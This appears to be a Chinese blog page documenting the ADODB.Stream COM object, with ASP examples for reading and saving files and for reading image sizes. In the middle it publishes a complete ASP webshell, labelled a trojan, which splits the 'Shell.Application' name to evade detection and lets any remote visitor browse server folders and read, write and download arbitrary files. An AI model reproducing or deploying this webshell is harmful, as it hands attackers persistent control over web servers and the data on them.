JAVASCRIPT Adodb.Stream

Adodb.Stream属性及方法
有下列方法：
　　Cancel 方法
　　 使用方法如下
　　 Object.Cancel
　　 说明：取消执行挂起的异步 Execute 或 Open 方法的调用。
　　Close 方法
　　 使用方法如下
　　 Object.Close
　　 ：关闭对像
　　CopyTo 方法
　　 使用方法如下
　　 Object.CopyTo(destStream,[CharNumber])
　　 说明：将对像的数据复制，destStream指向要复制的对像，CharNumber为可选参数，指要复制的字节数，不选为全部复制。
　　Flush 方法
　　 使用方法如下
　　 Object.Flush
　　 说明：
　　LoadFromFile 方法
　　 使用方法如下
　　 Object.LoadFromFile(FileName)
　　 说明:将FileName指定的文件装入对像中,参数FileName为指定的用户名。
　　Open 方法
　　 使用方法如下
　　 Object.Open(Source,[Mode],[Options],[UserName],[Password])
　　 说明：打开对像，
　　 参数说明：Sourece 对像源，可不指定
　　 Mode 指定打开模式，可不指定，可选参数如下：
　　 adModeRead =1
　　 adModeReadWrite =3
　　 adModeRecursive =4194304
　　 adModeShareDenyNone =16
　　 adModeShareDenyRead =4
　　 adModeShareDenyWrite =8
　　 adModeShareExclusive =12
　　 adModeUnknown =0
　　 adModeWrite =2
　　 Options 指定打开的选项，可不指定，可选参数如下：
　　 adOpenStreamAsync =1
　　 adOpenStreamFromRecord =4
　　 adOpenStreamUnspecified=-1
　　 UserName 指定用户名，可不指定。
　　 Password 指定用户名的密码
　　Read 方法
　　 使用方法如下：
　　 Object.Read(Numbytes)
　　 说明：读取指定长度的二进制内容。
　　 参数说明：Numbytes指定的要读取的找度，不指定则读取全部。

ReadText 方法
　　 使用方法如下：
　　 Object.ReadText(NumChars)
　　 说明：读取指定长度的文本
　　 参数说明：NumChars指定的要读取的找度，不指定则读取全部。

SaveToFile 方法
　　 使用方法如下：
　　 Object.SaveToFile(FileName,[Options])
　　 说明：将对像的内容写到FileName指定的文件中
　　 参数说明：FileName指定的文件
　　 Options 存取的选项，可不指定，可选参数如下：
　　 adSaveCreateNotExist =1
　　 adSaveCreateOverWrite =2

SetEOS 方法
　　 使用方法如下：
　　 Object.setEOS()
　　 说明：
　　SkipLine 方法
　　 使用方法如下：
　　 Object.SkipLine()
　　 说明：
　　Write 方法
　　 使用方法如下：
　　 Object.Write(Buffer)
　　 说明：将指定的数据装入对像中。
　　 参数说明：Buffer 为指定的要写入的内容。
　　WriteText 方法
　　 使用方法如下：
　　 Object.Write(Data,[Options])
　　 说明：将指定的文本数据装入对像中。
　　 参数说明：Data 为指定的要写入的内容。
　　 Options 写入的选项，可不指定，可选参数如下：
　　 adWriteChar =0
　　 adWriteLine =1

有下列属性：
　　 Charset
　　 EOS 返回对像内数据是否为空。

LineSeparator 指定换行格式，可选参数有
　　 adCR =13
　　 adCRLF =-1
　　 adLF =10
　　
　　 Mode 指定或返加模式。
　　
　　 Position 指定或返加对像内数据的当前指针。
　　
　　 Size 返回对像内数据的大小。
　　
　　 State 返加对像状态是否打开。
　　
　　 Type 指定或返回的数据类型，可选参数为：
　　 adTypeBinary =1
　　 adTypeText =2

--------------------------------------------------------------------------------
Robot·H,2006-11-08 13:01:48

用ADODB.Stream代替FSO读取文本文件

复制代码

文件内容读取.
Function LoadFile(ByVal File)
Dim objStream
On Error Resume Next
Set objStream = Server.CreateObject("ADODB.Stream")
If Err.Number=-2147221005 Then
Response.Write "<div align='center'>非常遗憾,您的主机不支持ADODB.Stream,不能使用本程序</div>"
Err.Clear
Response.End
End If
With objStream
.Type = 2
.Mode = 3
.Open
.LoadFromFile Server.MapPath(File)
If Err.Number<>0 Then
Response.Write "<div align='center'>文件<font color='#ff0000'>"&File&"</font>无法被打开，请检查是否存在!</font></div>"
Err.Clear
Response.End
End If
.Charset = "GB2312"
.Position = 2
LoadFile = .ReadText
.Close
End With
Set objStream = Nothing
End Function

'存储内容到文件
Sub SaveToFile(ByVal strBody,ByVal File)
Dim objStream
On Error Resume Next
Set objStream = Server.CreateObject("ADODB.Stream")
If Err.Number=-2147221005 Then
Response.Write "<div align='center'>非常遗憾,您的主机不支持ADODB.Stream,不能使用本程序</div>"
Err.Clear
Response.End
End If
With objStream
.Type = 2
.Open
.Charset = "GB2312"
.Position = objStream.Size
.WriteText = strBody
.SaveToFile Server.MapPath(File),2
.Close
End With
Set objStream = Nothing
End Sub

--------------------------------------------------------------------------------
Robot·H,2006-11-08 13:02:19

ADODB.Stream木马

复制代码

<%
Const She = "Shell"
Const APP = "Application"
Const SelfName = "testdll.asp"
Const NormalString = "欢迎使用本系统"

Dim CreateType
CreateType = Trim(Request("Type"))
If CreateType <> "" And IsNumeric(CreateType) Then
CreateType = Clng(CreateType)
Else
CreateType = 0
End If

SELECT CASE CreateType
CASE 0
Call Main()
CASE 1
Call ReadData()
CASE 2
Call WriteData()
CASE 3
Call DownLoad()
End SELECT

SUB WriteData()
Dim FileName,X,FileContent,FileNameString

FileName = Trim(Request("FileName"))
If FileName = "" Then
Response.write NormalString
Exit SUB
End If

FileContent = Trim(Request("Content"))
Set X = Server.CreateObject("ADODB.Stream")
With X
.Type = 2
.MODE = 3
.OPEN
.Charset ="gb2312"
.WriteText FileContent
.Position = 2
.SaveToFile FileName,2
.Close
End With
Response.Write("<TABLE width=98% border=0 align=center cellpadding=5 cellspacing=0 bgcolor=#f6f6f6><TR><TD bgcolor=#e6f0ff><STRONG>文件数据更新程序</STRONG></TD></TR><TR style='color:#FFFFFF'>")
Response.Write("<TD BGCOLOR=#7896CD HEIGHT=25>·文件数据写入操作 ·<a href=""javascript:history.go(-1);""><font color=#FFFFFF>返回上一页</font></a></TD></TR><TR><TD BGCOLOR=#FFFFFF HEIGHT=35><font color=#7896CD>操作结果:</font>文件数据已经写入成功...</TD>")
Response.Write("</TR></TABLE>")
End SUB

SUB DownLoad()
Dim FileName,X,FileContent,FileNameString
FileName = Trim(Request("FileName"))
If FileName = "" Then
Response.write NormalString
Exit SUB
End If
FileContent = Split(FileName,"/")
FileNameString = FileContent(UBound(FileContent))
Call UseStream(FileName,FileNameString)
End SUB

SUB ReadData()
Dim FileName,X,FileContent,FileType,Vtype
FileName = Trim(Request("FileName"))
If FileName = "" Then
Response.write NormalString
Exit SUB
End If
Set X = Server.CreateObject("ADODB.Stream")
With X
.Type = 2
.MODE = 3
.OPEN
.LOADFROMFILE FileName
If Trim(Request("ViewType")) = "" Then
.Charset ="gb2312"
.Position = 2
VType = "1"
Else
VType = ""
End If
FileContent = .ReadText()
.Close
End With
%>
<body onload="javascript:parent.OnlineView.height=this.document.body.scrollHeight+10;" leftmargin="0" topmargin="0">
<center><form name=form1 action="<%=SelfName%>?Type=2&FileName=<%=FileName%>" method=Post><textarea Name=Content cols=75 rows=25><%=Replace(FileContent,"<","<")%></textarea><br><br>
<input type=button value=保存修改 onclick="document.all.form1.submit();"> <input type=button value=内容另存 name=add id=add onclick="addn()"> <input type=button value=转换编码 Onclick="javascript:location.href='<%=SelfName%>?Type=1&FileName=<%=Replace(FileName,"/","//")%>&ViewType=<%=VType%>';"><font color=red>如果在显示不正常时强行插入数据会导致文件损坏,这时可以使用转换编码按钮转换一下编码方式读取,直到能正常显示字符方可写入数据</font></form></center>
<script language="javascript">
setTimeout('view()',500);
function view(){
parent.Load.style.display='none';
parent.Loaded.style.display='block';
parent.OnlineView.height=this.document.body.scrollHeight+10;
}
</script>
<script language="vbscript">
sub addn()
Filename = InputBox("请输入新文件的完整路径[包括文件名]","","<%=FileName%>")
If Filename <> "" Then
document.all.form1.action="<%=SelfName%>?Type=2&FileName=" & Filename
document.all.form1.submit
End If
end sub
</script>
<%
End SUB

Function GetContentType(FlName)
Select Case GetFileTypeName(flName)
Case "asf"
GetContentType = "video/x-ms-asf"
Case "avi"
GetContentType = "video/avi"
Case "doc"
GetContentType = "application/msword"
Case "zip"
GetContentType = "application/zip"
Case "xls"
GetContentType = "application/vnd.ms-excel"
Case "gif"
GetContentType = "image/gif"
Case "jpg", "jpeg"
GetContentType = "image/jpeg"
Case "wav"
GetContentType = "audio/wav"
Case "mp3"
GetContentType = "audio/mpeg3"
Case "mpg", "mpeg"
GetContentType = "video/mpeg"
Case "rtf"
GetContentType = "application/rtf"
Case "htm", "html"
GetContentType = "text/html"
Case "txt"
GetContentType = "text/plain"
Case Else
GetContentType = "application/octet-stream"
End Select
End Function

Function GetFileTypeName(FldName)
If InStr(FldName, ".") > 0 Then
Dim FiNameStr
FiNameStr = Split(FldName,".")
GetFileTypeName = Lcase(FiNameStr(UBound(FiNameStr)))
Else
GetFileTypeName = "unknow"
End If
End Function

SUB UseStream(FileName,FileNameString)
Dim FileStream,File,FileContentType,IsAttachment
Set FileStream = Server.CreateObject("ADODB.Stream")
FileStream.Open
FileStream.Type = 1
File = FileName
FileStream.LoadFromFile(File)
FileContentType = GetContentType(FileName)
IsAttachment = "attachment; "
Response.AddHeader "Content-Disposition", IsAttachment & "filename=" & FileNameString 'attachment;
Response.AddHeader "Content-Length", FileStream.Size
Response.Charset = "UTF-8"
Response.ContentType = FileContentType
Response.BinaryWrite FileStream.Read
Response.Flush

FileStream.Close
Set FileStream = Nothing
End SUB

Function CreateProgID(Var1,Var2)
CreateProgID = Var1 & "." & Var2
End Function

Function bin2str2(binstr)
Dim BytesStream,StringReturn

Set BytesStream = Server.CreateObject("ADODB.Stream")
With BytesStream
.Type = 2
.Open
.WriteText binstr
.Position = 0
.Charset = "GB2312"
.Position = 2
StringReturn = .ReadText(.Size)
.close
End With
Set BytesStream = Nothing

bin2str2 = StringReturn

End Function

SUB GetFolder(FolderName)
dim FileContent,FileNameString
set sl=server.createobject(CreateProgID(She,APP))
XA = FolderName
if (XA <> "") then
set fod1=sl.namespace(XA)
set foditems=fod1.items
for each co in foditems
If co.isfolder Then response.write "<font color=#FCC000>［</font> <a href=""?DirName=" & co.path & """><font color=black>" & Replace(Replace(Right(co.path,Len(co.path) - Len(XA)),"/",""),"/","") & "</font></a><font color=#FCC000>］</font><br>" & VBCRLF
next
End If
End SUB

SUB GetFiler(FolderName)
set sl=server.createobject(CreateProgID(She,APP))
XA = FolderName
if (XA <> "") then
set fod1=sl.namespace(XA)
set foditems=fod1.items
for each co in foditems
If Not co.isfolder Then response.write " <a href=#this Onclick=""DownLoad('" & Replace(co.path,"/","//") & "')""><font color=#999900>Ξ</font></a> <a href=#this Onclick=""GetFileContent('" & Replace(co.path,"/","//") & "')""><font color=black>" & Replace(Replace(Right(co.path,Len(co.path) - Len(XA)),"/",""),"/","") & "</font></a> <font color=#999999> - <font color=#0099FF>" & co.size & "</font> Bytes</font><br>" & VBCRLF
next
End If
End SUB

SUB Main()
Dim obj,shell
If Trim(Request("DirName")) = "" Then
LocDirName = SERVER.MapPath(".")
Else
LocDirName = Trim(Request("DirName"))
End If

If Right(LocDirName,1) = ":" Then LocDirName = LocDirName & "/"

RootDirName = Replace(Left(LocDirName,3),"/","//")
ParentDirName = ""
If Instr(LocDirName,"/") And Right(LocDirName,2) <> ":/" Then
DirNameArray = Split(LocDirName,"/")
ParentDirName = Left(LocDirName,Len(LocDirName) - Len(DirNameArray(Ubound(DirNameArray))))
If Right(ParentDirName,1) = "/" And Right(ParentDirName,2) <> ":/" Then ParentDirName = Left(ParentDirName,Len(ParentDirName) - 1)
ParentDirName = Replace(ParentDirName,"/","//")
End If
%>
<body>
<div id="MaoDiv" style="background: #F7FBFF;position: absolute; width:250px; height:60px; left:100; top:40; display:none; z-index:9;border-right: 1px solid #e6f0ff;border-left: 1px solid #e6f0ff;border-top: 1px solid #e6f0ff;border-bottom: 1px solid #e6f0ff;"></div>
<table border=0 width=100% cellspacing="0" cellpadding="3">
<tr><td colspan=2 height=25>
<font style="font-size:12px" face=Arial><b> 叼牌纯种马.不含防腐剂.不用FSO.日行千里.夜行...不跑做爱</b></font>
</td></tr>
<tr><td colspan=2 height=5 bgcolor=#89b7f0></td></tr>
<tr>
<td valign=top bgcolor=#F6F6F6 width=35% style="border-right: 1px solid #e6f0ff;">
<font color=red><b>子目录/文件列表</b></font>: <br>当前所处目录 - <font color=blue><%=LocDirName%></font> <br><font color=#999999 style="cursor:hand" onclick="ChangeDir()">［更改目录］</font> <% If ParentDirName <> "" Then %><font color=#999999 style="cursor:hand" onclick="javascript:location.href='<%=SelfName%>?DirName=<%=ParentDirName%>';">［向上一层］</font> <font color=#999999 style="cursor:hand" onclick="javascript:location.href='<%=SelfName%>?DirName=<%=RootDirName%>';">［回根目录］</font><% End If %><hr size=2 color=#0099FF width=100% align=left>
<%
Call GetFolder(LocDirName)
Call GetFiler(LocDirName)
%>
</td>
<td width=65% Align=center valign=top>
<table border=0 width=100% align=center class="table2">
<tr id="OnlineView">
<td align=center valign=top>
<div id="normal" style="display:block"><%=NormalString%></div>
<div id="Load" style="display:none" align=center>
<br><br>正在获取数据...</div>
<div id="Loaded" style="display:none">
<iframe id="ListView" name="ListView" frameborder="0" scrolling="no" valign="top" width="100%" height="100%"></iframe></div>
</td></tr></table>
</td>
</tr>
<tr><td colspan=2 height=5 bgcolor=#89b7f0></td></tr>
<tr>
</td>
<td colspan=2 Align=Right style="font-family:sans-serif,Verdana,宋体;font-size:11px;color:#999999">2:07 2004-10-8 DLL与小生两个贱人乱涂乱画</td>
</tr>
</table>
</body>

<%
End SUB
%>
<head>
<title>None FSO,But We Have ADODB.STREAM!</title>
<script>
function GetFileContent(FileName){
parent.Load.style.display = 'block';
parent.normal.style.display = 'none';
parent.Loaded.style.display = 'none';
ListView.location.href = '<%=SelfName%>?Type=1&FileName=' + FileName;
}

function DownLoad(FileName){
Load.style.display = 'block';
normal.style.display = 'none';
Loaded.style.display = 'none';
ListView.location.href = '<%=SelfName%>?Type=3&FileName=' + FileName;
setTimeout("hide()",2000);
}

function hide(){
Load.style.display = 'none';
normal.style.display = 'block';
}

function ChangeDir(){
if(MaoDiv.style.display=='block')
{
MaoDiv.style.display = 'none';}
else
{
MaoDiv.style.display = 'block';
MaoDiv.innerHTML = "<CENTER><br> <input type=text name=DirName id=DirName VALUE=新目录名> <input type=button onclick=/'javascript:if(DirName.value!=/"/"&&DirName.value!=/"新目录名/"){location.href=/"<%=SelfName%>?DirName=/" + DirName.value;}/' value=确定> <font color=#999999 style=/'cursor:hand/' onclick=/'ChangeDir()/'>按此关闭</font></CENTER>";}

MaoDiv.style.posLeft = window.event.x - 100;
if(MaoDiv.style.posLeft < 0){
MaoDiv.style.posLeft = 0;
}
MaoDiv.style.posTop = window.event.y + document.body.scrollTop - 10;
}
</script>
<style type="text/css">
BODY,TD {
FONT-SIZE: <%if UCase(Request.ServerVariables("HTTP_ACCEPT_LANGUAGE"))="ZH-TW" then response.write "10pt" else response.write "11px" end if%>; FONT-FAMILY: sans-serif,Verdana,宋体
background-attachment: fixed;
background-repeat: repeat-y;
background-position: center;
}
Input {
font-family: "宋体", "Verdana", "Arial";
font-size: <%if UCase(Request.ServerVariables("HTTP_ACCEPT_LANGUAGE"))="ZH-TW" then response.write "10pt" else response.write "12px" end if%>;
font-style: normal;
line-height: normal;
font-weight: normal;
font-variant: normal;
height: 18px;
border-right: 1px solid #e6f0ff;
border-left: 1px solid #e6f0ff;
border-top: 1px solid #e6f0ff;
border-bottom: 1px solid #e6f0ff;
}
A:link {
COLOR: #000000
}
A:visited {
COLOR: #000000
}
A:active {
COLOR: #000000
}
A {
COLOR: #000000; TEXT-DECORATION: none
}
A:hover {
COLOR: #495E6E
}
table{
border-bottom: 1px solid #e6f0ff;
border-top: 1px solid #e6f0ff;
border-left: 1px solid #e6f0ff;
border-right: 1px solid #e6f0ff;
padding:0px
}
.table2{
border-bottom: 0px;
border-top: 0px;
border-left: 0px;
border-right: 0px;
padding:0px
}
textarea {
font-family: "宋体","Arial";
font-size: <%if UCase(Request.ServerVariables("HTTP_ACCEPT_LANGUAGE"))="ZH-TW" then response.write "10pt" else response.write "12px" end if%>;
font-style: normal;
line-height: normal;
font-weight: normal;
font-variant: normal;
background:#e6f0ff;
border-bottom: 1px solid #e6f0ff;
border-top: 1px solid #￥e6f0ff;
border-left: 1px solid #e6f0ff;
border-right: 1px solid #e6f0ff;
padding:0px
}
</style>
</head>

--------------------------------------------------------------------------------
Robot·H,2006-11-08 13:02:50

通过Adodb.Stream取得图像(BMP JPG PNG GIF SWF)的高度和宽度

复制代码

上传图片或显示SWF的时候都希望得到它的高度和宽度

基本原理使用Adodb.Stream读二进制文件然后进行解析，然后返回一数组
第一个元素为类型(BMP JPG PNG GIF SWF)
第二个元素为宽度{width}
第三个元素为高度{height}
第四个元素为width={width},height={height}式字符串

Class qswhImg
dim aso
Private Sub Class_Initialize
set aso=CreateObject("Adodb.Stream")
aso.Mode=3
aso.Type=1
aso.Open
End Sub
Private Sub Class_Terminate
set aso=nothing
End Sub

Private Function Bin2Str(Bin)
Dim I, Str
For I=1 to LenB(Bin)
clow=MidB(Bin,I,1)
if ASCB(clow)<128 then
Str = Str & Chr(ASCB(clow))
else
I=I+1
if I <= LenB(Bin) then Str = Str & Chr(ASCW(MidB(Bin,I,1)&clow))
end if
Next
Bin2Str = Str
End Function

Private Function Num2Str(num,base,lens)
'qiushuiwuhen (2002-8-12)
dim ret
ret = ""
while(num>=base)
ret = (num mod base) & ret
num = (num - num mod base)/base
wend
Num2Str = right(string(lens,"0") & num & ret,lens)
End Function

Private Function Str2Num(str,base)
'qiushuiwuhen (2002-8-12)
dim ret
ret = 0
for i=1 to len(str)
ret = ret *base + cint(mid(str,i,1))
next
Str2Num=ret
End Function

Private Function BinVal(bin)
'qiushuiwuhen (2002-8-12)
dim ret
ret = 0
for i = lenb(bin) to 1 step -1
ret = ret *256 + ascb(midb(bin,i,1))
next
BinVal=ret
End Function

Private Function BinVal2(bin)
'qiushuiwuhen (2002-8-12)
dim ret
ret = 0
for i = 1 to lenb(bin)
ret = ret *256 + ascb(midb(bin,i,1))
next
BinVal2=ret
End Function

Function getImageSize(filespec)
'qiushuiwuhen (2002-9-3)
dim ret(3)
aso.LoadFromFile(filespec)
bFlag=aso.read(3)
select case hex(binVal(bFlag))
case "4E5089":
aso.read(15)
ret(0)="PNG"
ret(1)=BinVal2(aso.read(2))
aso.read(2)
ret(2)=BinVal2(aso.read(2))
case "464947":
aso.read(3)
ret(0)="GIF"
ret(1)=BinVal(aso.read(2))
ret(2)=BinVal(aso.read(2))
case "535746":
aso.read(5)
binData=aso.Read(1)
sConv=Num2Str(ascb(binData),2 ,8)
nBits=Str2Num(left(sConv,5),2)
sConv=mid(sConv,6)
while(len(sConv)<nBits*4)
binData=aso.Read(1)
sConv=sConv&Num2Str(ascb(binData),2 ,8)
wend
ret(0)="SWF"
ret(1)=int(abs(Str2Num(mid(sConv,1*nBits+1,nBits),2)-Str2Num(mid(sConv,0*nBits+1,nBits),2))/20)
ret(2)=int(abs(Str2Num(mid(sConv,3*nBits+1,nBits),2)-Str2Num(mid(sConv,2*nBits+1,nBits),2))/20)
case "FFD8FF":
do
do: p1=binVal(aso.Read(1)): loop while p1=255 and not aso.EOS
if p1>191 and p1<196 then exit do else aso.read(binval2(aso.Read(2))-2)
do:p1=binVal(aso.Read(1)):loop while p1<255 and not aso.EOS
loop while true
aso.Read(3)
ret(0)="JPG"
ret(2)=binval2(aso.Read(2))
ret(1)=binval2(aso.Read(2))
case else:
if left(Bin2Str(bFlag),2)="BM" then
aso.Read(15)
ret(0)="BMP"
ret(1)=binval(aso.Read(4))
ret(2)=binval(aso.Read(4))
else
ret(0)=""
end if
end select
ret(3)="width=""" & ret(1) &""" height=""" & ret(2) &""""
getimagesize=ret
End Function
End Class

使用范例（读某目录下所有图片的宽度）：
set qswh=new qswhImg

Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.GetFolder(server.mappath("."))
Set fc = f.Files
For Each f1 in fc
ext=fso.GetExtensionName(f1.path)
select case ext
case "gif","bmp","jpg","png":
arr=qswh.getImageSize(f1.path)
response.write "<br>" & arr(0) & " " & arr(3) & ":" & f1.name & " width:" & arr(1) & " height:" & arr(2)
case "swf"
arr=qswh.getimagesize(f1.path)
response.write "<br>" & arr(0) & " " & arr(3) & ":" & f1.name & " width:" & arr(1) & " height:" & arr(2)
end select

Next
Set fc=nothing
Set f=nothing
Set fso=nothing
Set qswh=nothing

原文出处：http://www.1983ad.cn/post/2010/10/532.html